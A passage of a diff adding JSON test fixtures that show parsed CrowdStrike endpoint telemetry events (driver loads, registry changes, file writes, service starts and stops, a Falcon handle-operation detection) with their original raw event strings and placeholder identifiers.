"driver" + ], + "created": "2025-09-15T03:12:42.256Z", + "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233", + "kind": "event", + "original": "{\"AuthenticodeHashDataSHA256\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ContextThreadId\":\"1111111111111\",\"CertificateIssuer\":\"Microsoft Windows Production PCA 2011\",\"aip\":\"89.160.20.128\",\"CertificateSignatureHash\":\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\",\"CertificatePublisher\":\"Microsoft Windows\",\"CompanyName\":\"Microsoft Corporation\",\"event_platform\":\"Win\",\"AuthenticodeHashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"OriginalFilename\":\"wdnisdrv.sys\",\"FileVersion\":\"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)\",\"ImageCheckSum\":\"123456\",\"EventOrigin\":\"17\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757905962256\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1757905958.885\",\"ConfigStateHash\":\"111111111\",\"ContextProcessId\":\"000000000000\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"94208\",\"MD5HashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"RpcClientThreadId\":\"1908581779603\",\"SHA256HashData\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccc\",\"ServiceDisplayName\":\"WdNisDrv\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FixedFileVersion\":\"4.18.25070.5\",\"RegistryPath\":\"\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"ImageTimeStamp\":\"2448850720\",\"Entitlements\":\"15\",\"name\":\"DriverLoadV6\",\"ComputerName\":\"redacted-computer-name\",\"CertificateSignatureHashAlgorithm\":\"32780\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\",\"HashAlgorithm\":\"32780\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "hostname": "redacted-computer-name", + "id": "11111aaaaaaaaaaaaacccccccccddddd", + "name": "redacted-computer-name", + "os": { + "type": "windows" + } + }, + "message": "DriverLoad", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "11111aaaaaaaaaaaaacccccccccddddd", + "version": "1007.3.0019907.15" + }, + "process": { + "entity_id": "000000000000", + "thread": { + "id": 1111111111111 + }, + "title": "WdNisDrv" + }, + "related": { + "hash": [ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "cccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "111111111" + ], + "hosts": [ + "redacted-computer-name" + ], + "ip": [ + "89.160.20.128" + ] + }, + "service": { + "name": "WdNisDrv" + }, + "source": { + "address": "89.160.20.128", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.128" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-15T07:12:11.466Z", + "crowdstrike": { + "AuthenticationId": "997", + "ConfigStateHash": "2080600092", + "ContextProcessId": "100704500092", + "ContextTimeStamp": "2025-09-15T07:12:09.062Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "LocalAddressIP4": [ + "81.2.69.192" + ], + "RegClassification": "102", + "RegClassificationFlags": "257", + "RegClassificationIndex": "405", + "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED", + "RegOperationType": "2", + "RegType": "0", + "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8f2302b7d2a07c5d5568941494e0368e0144", + "name": "RegCrowdstrikeValueUpdateV1" + }, + "device": { + "id": "be027d4cbada339f804f9c19f5a2d5a6" + }, + "event": { + "action": "deletion", + "category": [ + "registry" + ], + "created": "2025-09-15T07:12:11.466Z", + "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"1945182997323\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\",\"RegClassificationFlags\":\"257\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"\",\"timestamp\":\"1757920331466\",\"LocalAddressIP4\":\"81.2.69.192\",\"event_simpleName\":\"RegCrowdstrikeValueUpdate\",\"ContextTimeStamp\":\"1757920329.062\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"100704500092\",\"RegType\":\"0\",\"RegClassificationIndex\":\"405\",\"AuthenticationId\":\"997\",\"ConfigBuild\":\"1007.3.0019907.15\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"102\",\"Entitlements\":\"15\",\"name\":\"RegCrowdstrikeValueUpdateV1\",\"ComputerName\":\"redacted-computer-name\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "host": { + "hostname": "redacted-computer-name", + "id": "be027d4cbada339f804f9c19f5a2d5a6", + "name": "redacted-computer-name", + "os": { + "type": "windows" + } + }, + "message": "RegCrowdstrikeValueUpdate", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "be027d4cbada339f804f9c19f5a2d5a6", + "version": "1007.3.0019907.15" + }, + "process": { + "entity_id": "100704500092", + "thread": { + "id": 1945182997323 + } + }, + "registry": { + "data": { + "type": "REG_NONE" + }, + "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED", + "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", + "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}" + }, + "related": { + "hash": [ + "2080600092" + ], + "hosts": [ + "redacted-computer-name" + ], + "ip": [ + "81.2.69.192" + ] + }, + "source": { + "address": "81.2.69.192", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.192" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-15T03:22:10.446Z", + "crowdstrike": { + "Attacks": [ + { + "Tactic": "Command and Control", + "Technique": "Data Obfuscation" + } + ], + "AuthenticationId": "999", + "ConfigStateHash": "1234437812", + "ContextBaseFileName": "svchost.exe", + "ContextProcessId": "111122223333", + "ContextTimeStamp": "2025-09-15T03:22:09.857Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "FileCategory": "3", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-1-5-18", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "LocalAddressIP4": [ + "89.160.20.112" + ], + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "2", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4", + "name": "PngFileWrittenV3" + }, + "device": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-09-15T03:22:10.446Z", + "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577", + "original": "{\"FileOperatorSid\":\"S-1-5-18\",\"ContextBaseFileName\":\"svchost.exe\",\"FileCategory\":\"3\",\"Size\":\"22929\",\"ContextThreadId\":\"1111111111111\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757906530446\",\"LocalAddressIP4\":\"89.160.20.112\",\"event_simpleName\":\"PngFileWritten\",\"ContextTimeStamp\":\"1757906529.857\",\"UserName\":\"dev-win10-3$\",\"ConfigStateHash\":\"1234437812\",\"ContextProcessId\":\"111122223333\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"999\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"1002.2.0019609.21\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"PngFileWrittenV3\",\"ComputerName\":\"dev-win10-3\",\"OperationFlags\":\"0\",\"Attacks\":[{\"Tactic\":\"Command and Control\",\"Technique\":\"Data Obfuscation\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Images\\\\qwert.png\"}" + }, + "file": { + "device": "61f\\cd4242a2\\a3fcbe35", + "directory": "\\Device\\Images", + "extension": "png", + "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1", + "name": "qwert.png", + "path": "\\Device\\Images\\qwert.png", + "size": 22929, + "type": "file" + }, + "host": { + "hostname": "dev-win10-3", + "id": "bae5bafaeb93295d398bf55b8ba1cf01", + "name": "dev-win10-3", + "os": { + "type": "windows" + } + }, + "message": "PngFileWritten", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", + "version": "1002.2.0019609.21" + }, + "process": { + "entity_id": "111122223333", + "name": "svchost.exe", + "thread": { + "id": 1111111111111 + } + }, + "related": { + "hash": [ + "1234437812" + ], + "hosts": [ + "dev-win10-3" + ], + "ip": [ + "89.160.20.128", + "89.160.20.112" + ], + "user": [ + "dev-win10-3$", + "S-1-5-18" + ] + }, + "source": { + "address": "89.160.20.112", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.112" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Command and Control" + ] + }, + "technique": { + "name": [ + "Data Obfuscation" + ] + } + }, + "user": { + "id": "S-1-5-18", + "name": "dev-win10-3$" + } + }, + { + "@timestamp": "2025-08-18T18:31:22.619Z", + "crowdstrike": { + "ConfigStateHash": "0222222222", + "ContextProcessId": "1111111111", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4", + "name": "MotwWrittenV2" + }, + "device": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-08-18T18:31:22.619Z", + "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577", + "original": "{\"event_simpleName\":\"MotwWritten\",\"ConfigStateHash\":\"0222222222\",\"ContextProcessId\":\"1111111111\",\"aip\":\"89.160.20.128\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"HostUrl\":\"\",\"Entitlements\":\"15\",\"name\":\"MotwWrittenV2\",\"EventOrigin\":\"1\",\"ReferrerUrl\":\"\",\"id\":\"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"timestamp\":\"1755541882619\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Local\\\\Default\\\\Files\\\\asdf-ghkl\"}" + }, + "file": { + "directory": "\\Device\\Local\\Default\\Files", + "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1", + "name": "asdf-ghkl", + "path": "\\Device\\Local\\Default\\Files\\asdf-ghkl", + "type": "file" + }, + "host": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01", + "os": { + "type": "windows" + } + }, + "message": "MotwWritten", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", + "version": "1007.3.0019907.15" + }, + "process": { + "entity_id": "1111111111" + }, + "related": { + "hash": [ + "0222222222" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-19T17:46:20.922Z", + "crowdstrike": { + "BatchDataNumber": "2", + "BatchDataTotal": "3", + "BatchTimestamp": "2025-09-19T17:46:24.040Z", + "ConfigStateHash": "3667246164", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "MountedVolumeAction": "0", + "VolumeDeviceCharacteristics": "131072", + "VolumeDeviceObjectFlags": "134479872", + "VolumeDeviceType": "8", + "VolumeDriveLetter": "\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}", + "VolumeEncryptionStatus": "0", + "VolumeFileSystemDevice": "\\Ntfs", + "VolumeFileSystemDriver": "\\FileSystem\\Ntfs", + "VolumeFileSystemType": "2", + "VolumeIsEncrypted": "0", + "VolumeMountPoint": "\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}", + "VolumeName": "\\Device\\HarddiskVolume4", + "VolumeRealDeviceName": "\\Device\\HarddiskVolume4", + "VolumeSectorSize": "512", + "VolumeSessionUUID": "BA6553C6-EA71-4F58-ADF2-EB7C71401657", + "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1", + "name": "MountedVolumeV1" + }, + "device": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01" + }, + "event": { + "action": "MountedVolume", + "category": [ + "file" + ], + "created": "2025-09-19T17:46:20.922Z", + "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1|bae5bafaeb93295d398bf55b8ba1cf01|", + "kind": "event", + "original": "{\"event_simpleName\":\"MountedVolume\",\"BatchDataTotal\":\"3\",\"VolumeSessionUUID\":\"BA6553C6-EA71-4F58-ADF2-EB7C71401657\",\"BatchTimestamp\":\"1758303984.040\",\"BatchDataNumber\":\"2\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"VolumeDriveLetter\":\"\\\\\\\\?\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_15AD\\u0026DEV_07F0\\u0026SUBSYS_07F015AD\\u0026REV_00\\\\4\\u00263b50545d\\u00260\\u002600B8\",\"VolumeDeviceCharacteristics\":\"131072\",\"id\":\"4a10cafe-7a95-4659-80c0-9b670b2308c1\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1758303980922\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"ConfigStateHash\":\"3667246164\",\"MountedVolumeAction\":\"0\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeLabel\":\"\",\"ConfigBuild\":\"1007.3.0019907.15\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"15\",\"name\":\"MountedVolumeV1\",\"VirtualDriveFileName\":\"\",\"ComputerName\":\"ETW\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "file": { + "device": "PCI\\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\\4&3b50545d&0&00B8" + }, + "host": { + "hostname": "ETW", + "id": "bae5bafaeb93295d398bf55b8ba1cf01", + "name": "ETW", + "os": { + "type": "windows" + } + }, + "message": "MountedVolume", + "observer": { + "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", + "version": "1007.3.0019907.15" + }, + "related": { + "hash": [ + "3667246164" + ], + "hosts": [ + "ETW" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-15T06:14:48.316Z", + "crowdstrike": { + "ConfigStateHash": "3164437859", + "ContextProcessId": "107384762651", + "ContextProcessTagsAsString": [ + "179", + "417", + "113292" + ], + "DesiredAccess": "2097151", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentProcessId": "107378835181", + "HandleOperationType": "1", + "ParentCommandLine": "wininit.exe", + "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe", + "ParentProcessPatternIdList": [ + "7201", + "7410", + "7426" + ], + "PatternId": "10517", + "PatternIdList": [ + "7053", + "7090", + "7119" + ], + "TargetProcessCommandLine": "\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"", + "TargetProcessImageFileName": "\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe", + "TemplateDisposition": "10", + "TemplateInstanceId": "20587", + "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf", + "name": "FalconProcessHandleOpDetectInfoV1" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "FalconProcessHandleOpDetectInfo", + "category": [ + "malware", + "process" + ], + "created": "2025-09-15T06:14:48.316Z", + "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "alert", + "original": "{\"event_simpleName\":\"FalconProcessHandleOpDetectInfo\",\"GrandparentProcessId\":\"107378835181\",\"GrandparentProcessPatternIdList\":\"\",\"ParentProcessId\":\"107382228681\",\"TemplateInstanceId\":\"20587\",\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\wininit.exe\",\"HandleOperationType\":\"1\",\"event_platform\":\"Win\",\"PatternId\":\"10517\",\"EventOrigin\":\"1\",\"id\":\"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf\",\"ParentCommandLine\":\"wininit.exe\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757916888316\",\"ConfigStateHash\":\"3164437859\",\"TemplateDisposition\":\"10\",\"ContextProcessId\":\"107384762651\",\"TargetProcessImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"ParentProcessPatternIdList\":\"7201,7410,7426\",\"TargetProcessId\":\"107445999828\",\"DesiredAccess\":\"2097151\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\services.exe\",\"Entitlements\":\"15\",\"name\":\"FalconProcessHandleOpDetectInfoV1\",\"ComputerName\":\"win10-qwe-3\",\"ContextProcessTagsAsString\":\"179,417,113292\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"PatternIdList\":\"7053,7090,7119\",\"TargetProcessCommandLine\":\"\\\"C:\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\\\"\"}", + "type": [ + "info", + "access" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "FalconProcessHandleOpDetectInfo", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "process": { + "args": [ + "C:\\Windows\\system32\\services.exe" + ], + "args_count": 1, + "command_line": "C:\\Windows\\system32\\services.exe", + "entity_id": "107445999828", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe", + "name": "services.exe", + "parent": { + "entity_id": "107382228681" + } + }, + "related": { + "hash": [ + "3164437859" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-10-30T08:53:42.802Z", + "crowdstrike": { + "ClientProcessStartKey": "7599824371187858", + "ConfigStateHash": "1611923365", + "ContextTimeStamp": "2025-10-30T08:53:39.055Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EtwRawRpcClientProcessId": "5940", + "EventOrigin": "1", + "IsHosted": "0", + "SourceProcessId": "111822186970", + "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9", + "name": "ServiceStoppedV2" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "ServiceStopped", + "category": [ + "process" + ], + "created": "2025-10-30T08:53:42.802Z", + "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "event", + "original": "{\"event_simpleName\":\"ServiceStopped\",\"SourceProcessId\":\"111822186970\",\"EtwRawRpcClientProcessId\":\"5940\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"e9e1ae71-7b21-4260-9891-f1dd497a7ea9\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761814422802\",\"IsHosted\":\"0\",\"ContextTimeStamp\":\"1761814419.055\",\"ConfigStateHash\":\"1611923365\",\"EtwRawProcessId\":\"5940\",\"ServiceDisplayName\":\"wuauserv\",\"ConfigBuild\":\"1007.3.0020008.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\svchost.exe -k netsvcs -p -s wuauserv\",\"TargetProcessId\":\"111822186970\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\svchost.exe\",\"Entitlements\":\"15\",\"name\":\"ServiceStoppedV2\",\"ClientProcessStartKey\":\"7599824371187858\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "hostname": "win10-qwe-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "win10-qwe-3", + "os": { + "type": "windows" + } + }, + "message": "ServiceStopped", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0020008.15" + }, + "process": { + "args": [ + "C:\\Windows\\system32\\svchost.exe", + "-k", + "netsvcs", + "-p", + "-s", + "wuauserv" + ], + "args_count": 6, + "command_line": "C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv", + "entity_id": "111822186970", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe", + "name": "svchost.exe", + "pid": 5940, + "title": "wuauserv" + }, + "related": { + "hash": [ + "1611923365" + ], + "hosts": [ + "win10-qwe-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-10-30T08:07:40.596Z", + "crowdstrike": { + "ConfigStateHash": "1146505100", + "ContextProcessId": "111669260464", + "ContextTimeStamp": "2025-10-30T08:07:37.917Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "17", + "ImageBaseName": "WdNisDrv.sys", + "RpcClientProcessId": "111754267474", + "RpcClientThreadId": "1985175578964", + "id": "664425be-9ed3-4b41-8790-5bd12a9889e8", + "name": "KernelServiceStartedV3" + }, + "device": { + "id": "cdbfd7c3bab5478d935db9969b5886cc" + }, + "event": { + "action": "KernelServiceStarted", + "category": [ + "process" + ], + "created": "2025-10-30T08:07:40.596Z", + "id": "664425be-9ed3-4b41-8790-5bd12a9889e8|cdbfd7c3bab5478d935db9969b5886cc|", + "kind": "event", + "original": "{\"event_simpleName\":\"KernelServiceStarted\",\"ContextTimeStamp\":\"1761811657.917\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111669260464\",\"ContextThreadId\":\"1984294987428\",\"RpcClientThreadId\":\"1985175578964\",\"ServiceDisplayName\":\"@C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\MpAsDesc.dll,-370\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"Entitlements\":\"15\",\"name\":\"KernelServiceStartedV3\",\"ImageBaseName\":\"WdNisDrv.sys\",\"EventOrigin\":\"17\",\"ComputerName\":\"raquel-win10-3\",\"RpcClientProcessId\":\"111754267474\",\"id\":\"664425be-9ed3-4b41-8790-5bd12a9889e8\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1761811660596\"}", + "type": [ + "start" + ] + }, + "host": { + "hostname": "raquel-win10-3", + "id": "cdbfd7c3bab5478d935db9969b5886cc", + "name": "raquel-win10-3", + "os": { + "type": "windows" + } + }, + "message": "KernelServiceStarted", + "observer": { + "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", + "version": "1007.3.0019907.15" + }, + "process": { + "entity_id": "111669260464", + "executable": "\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys", + "name": "WdNisDrv.sys", + "thread": { + "id": 1984294987428 + }, + "title": "@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370" + }, + "related": { + "hash": [ + "1146505100" + ], + "hosts": [ + "raquel-win10-3" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-14T03:23:29.811Z", + "crowdstrike": { + "BatchDataNumber": "1", + "BatchDataTotal": "2", + "BatchTimestamp": "2025-09-14T03:23:29.223Z", + "BrowserExtensionId": "jmjflgjpcpepeafmmgdpfkogkghcpiha", + "BrowserExtensionInstallMethod": "BROWSER", + "BrowserExtensionStatusEnabled": "1", + "BrowserFileHash": "ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b", + "BrowserFilePath": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "BrowserName": "4", + "BrowserProfileId": "Default", + "BrowserProfileName": "Profile 1", + "BrowserVersion": "138.0.3351.83", + 